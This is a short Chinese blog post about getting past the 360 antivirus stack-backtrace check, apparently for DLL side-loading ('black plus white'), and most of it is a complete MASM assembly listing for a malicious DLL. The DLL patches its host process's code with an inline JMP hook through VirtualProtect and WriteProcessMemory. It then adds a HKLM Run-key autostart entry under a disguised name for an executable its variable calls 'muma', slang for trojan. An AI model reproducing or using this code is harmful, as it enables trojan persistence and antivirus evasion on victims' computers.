2014过360栈回溯



360为了XX黑加白出的栈回溯技术

当然现在还会杀DLL 不过 断链动态解密一下应该还是没有问题的

博客新开，先扔出来一点儿

.486p

.model flat,stdcall

option casemap:none

assume fs:nothing

include windows.inc

include user32.inc

includelib user32.lib

include kernel32.inc

includelib kernel32.lib

include         Advapi32.inc

includelib      Advapi32.lib

.data

szKeyAutoRun        db      'Software\Microsoft\Windows\CurrentVersion\Run',0

szValueAutoRun  db      'baidusdpptoet',0   

jmpaddr dd 00

hookaddr dd 00

oldprotect dd 00

dllhandle dd 00

mumaexepatch byte "\RunTime process.exe",0

backbyte byte 5 dup  (?);备份5个字节

.code

funcxx proc

ret

funcxx endp

funcx proc

ret

funcx endp

funcxxx proc

ret

funcxxx endp

funcxaxx proc

ret

funcxaxx endp

threadx proc x:dword

invoke FreeLibraryAndExitThread,offset dllhandle,0

mov eax,0

ret

threadx endp

func proc

        local   @hKey  

local   @szFileName[MAX_PATH]:byte

invoke  RegCreateKey,HKEY_LOCAL_MACHINE,addr szKeyAutoRun ,addr @hKey

;invoke GetModuleFileName,NULL,addr @szFileName,260

invoke GetCurrentDirectory,260,addr @szFileName

invoke lstrcat,addr  @szFileName,addr   mumaexepatch

;inc     eax

;mov @szFileName,'x'

invoke lstrlen,addr @szFileName

invoke  RegSetValueEx,@hKey,offset szValueAutoRun,NULL,REG_SZ, addr @szFileName,eax

invoke  RegCloseKey,@hKey

ret

func endp

start proc x,y,z:dword

.if y==DLL_PROCESS_ATTACH

 push x

 pop dllhandle

 

 

 jmp xyz

 xyz:

  jmp pushaddr

pushaddr:

invoke GetModuleHandle,NULL

        add eax,100Bh

       mov hookaddr,eax;这里已经指向指定代码了

       mov jmpaddr,eax

;解除保护区域是hookaddr+100

nop

nop

nop

nop

nop

nop

mov byte ptr [backbyte],0E9H

mov eax,offset func

mov ebx ,hookaddr

sub eax,ebx

sub eax,5

mov dword ptr [backbyte+1],eax

invoke VirtualProtect, jmpaddr,1000,PAGE_EXECUTE_READWRITE, offset oldprotect ;

;lea eax,jmpaddr

;lea esi, offset backbyte

;cld

;movsd

;movsb

invoke GetCurrentProcess

invoke WriteProcessMemory,eax, jmpaddr,offset backbyte,5,NULL

;invoke CreateThread,NULL,NULL,offset threadx,NULL,0,NULL

jmp jmpaddr

.endif

ret

start endp

funcxxxxx proc

ret

funcxxxxx endp

end start